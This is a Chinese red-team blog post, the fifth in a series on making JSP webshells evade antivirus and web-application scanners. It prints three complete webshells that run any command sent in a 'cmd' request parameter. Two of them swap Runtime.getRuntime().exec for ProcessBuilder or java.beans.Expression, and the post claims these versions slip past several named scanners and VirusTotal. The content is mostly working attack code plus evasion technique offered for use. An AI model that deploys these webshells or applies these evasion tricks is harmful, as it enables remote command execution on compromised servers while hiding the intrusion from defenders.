什么?你还不会webshell免杀?(五)
2022-9-2 08:3:9 Author: 红队蓝军(查看原文) 阅读量:23 收藏

原始webshell

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

查杀的点在于Runtime.getRuntime().exec非常明显的特征

利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<%
  String cmd = request.getParameter("cmd");
  Process process = new ProcessBuilder(new String[]{cmd}).start();
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

免杀效果

某狗:

某盾:

某马:

vt:

某度在线查杀:

可以看到这全部都免杀过了,就换了一个函数。

BeansExpression免杀

这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  String cmd = request.getParameter("cmd");
  Expression expr = new Expression(Runtime.getRuntime(), "exec"new Object[]{cmd});

  Process process = (Process) expr.getValue();
  InputStream in = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
  String tmp = null;
  while((tmp = bufferedReader.readLine())!=null){
    response.getWriter().println(tmp);
  }
%>

查杀效果:

可以看到某狗已经查杀出来了。只能说效果很一般

总结

在此章节中主要讲解一下内置的一些函数来替换,从而消除一些特征,但这种方式还是非常非常容易被查杀的,后面会讲解jsp的一些特性,字节码,反射,包含等免杀方式

加下方wx,拉你一起进群学习

往期推荐

net反射

firefox批量get password

Demo版菜刀

tomcat原理刨析之手写tomcat

什么?你还不会webshell免杀?(四)

什么?你还不会webshell免杀?(三)

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(一)


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247502241&idx=1&sn=5c767ad655dd6914a3a594169dfeafc2&chksm=ce67731df910fa0b2d971eff4d356b443e9f21b3a99e2e074b62f0a74d55a1e0d5a5536ed777#rd
如有侵权请联系:admin#unsafe.sh